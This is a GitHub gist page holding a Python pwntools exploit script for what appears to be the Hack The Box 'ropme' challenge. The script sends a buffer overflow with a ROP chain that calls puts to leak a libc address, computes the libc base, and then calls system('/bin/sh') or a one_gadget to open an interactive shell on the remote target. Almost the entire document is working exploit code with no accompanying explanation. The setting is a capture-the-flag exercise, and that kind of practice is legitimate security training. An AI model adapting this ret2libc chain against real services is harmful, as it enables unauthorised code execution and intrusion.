Skip to content

Instantly share code, notes, and snippets.

@safiire
Last active April 16, 2022 06:56
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save safiire/f5ff02e02d952d69d45cbaadb7a28675 to your computer and use it in GitHub Desktop.
Save safiire/f5ff02e02d952d69d45cbaadb7a28675 to your computer and use it in GitHub Desktop.
#!/usr/bin/env python
from pwn import *
context(arch='amd64', log_level='info')
if len(sys.argv) >= 2:
use_one_gadget = True
libc_so_filename = './libc-2.23.so'
print("Using libc %s" % libc_so_filename)
p = remote('docker.hackthebox.eu', 35298)
else:
use_one_gadget = False
libc_so_filename = '/lib/x86_64-linux-gnu/libc.so.6'
p = process('./ropme')
# Static Addresses
puts_reloc = 0x00601019
gadget_pop_rdi = 0x004006d3
gadget_puts_plt = 0x004004e0
gadget_main_again = 0x00400626
overflow = flat('A' * 0x40, ["\xbb"]*8)
# Static Offsets
target_libc = ELF(libc_so_filename)
libc_puts_offset = target_libc.symbols.puts
libc_system_offset = target_libc.symbols.system
one_gadget_offset = 0x00045216
for address in target_libc.search('/bin/sh'):
libc_bin_sh_offset = address
# Calls puts@plt to leak memory, and then recalls main()
def call_puts(address):
p.recvline()
p.info("Calling puts@plt(0x%x)", address)
payload = flat([overflow, gadget_pop_rdi, address, gadget_puts_plt, gadget_main_again])
p.sendline(payload)
return p.recvline(keepends=False)
def call_system(system, bin_sh):
p.recvline(timeout=1.0)
p.info("Calling system@libc(0x%x)", bin_sh)
payload = flat([overflow, gadget_pop_rdi, bin_sh, system])
p.sendline(payload)
sleep(0.5)
p.sendline('id')
try:
print(p.recvline(timeout=0.5))
p.success("Pizza Time!")
p.interactive()
except EOFError:
p.failure("Failed")
def one_gadget(address):
p.recvline()
p.info("Calling one_gadget@libc(0x%x)", address)
payload = flat([overflow, address])
p.sendline(payload)
sleep(0.5)
p.sendline('id')
try:
print(p.recvline(timeout=0.5))
p.success("Pizza Time!")
p.interactive()
except EOFError:
p.failure("Failed")
# Unpack a bytestring into an integer
def unpack_string_address(bin_string):
return unpack(bin_string, 'all')
# Send the first stage payload to leak &puts@libc
p.info("Leaking puts@libc...")
leaked_libc_puts = unpack("\x00" + call_puts(puts_reloc), 'all')
p.success("Leaked address puts@libc: 0x%x", leaked_libc_puts)
# Basically if we use one_gadget we don't need to do anything else
if use_one_gadget:
# Try to deduce libc base on our own
page_size = 0x1000
pages_away = 111
puts_page = (leaked_libc_puts & 0xfffffffffffff000)
libc_base = puts_page - (page_size * pages_away)
gadget = libc_base + one_gadget_offset
one_gadget(gadget)
exit()
# Use the offsets and leak to calculate addresses
p.info("Calculating system(/bin/sh) addresses...")
libc_base = leaked_libc_puts - libc_puts_offset
libc_system = libc_base + libc_system_offset
libc_bin_sh = libc_base + libc_bin_sh_offset
p.info("---------------------------")
p.success("Libc puts offset is 0x%x", libc_puts_offset)
p.success("Libc system offset is 0x%x", libc_system_offset)
p.success("Libc /bin/sh offset is 0x%x", libc_bin_sh_offset)
p.info("---------------------------")
p.success("Libc base is 0x%x", libc_base)
p.success("Libc system is 0x%x", libc_system)
p.success("Libc /bin/sh is 0x%x", libc_bin_sh)
p.info("---------------------------")
p.info("Getting a shell...")
call_system(libc_system, libc_bin_sh)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment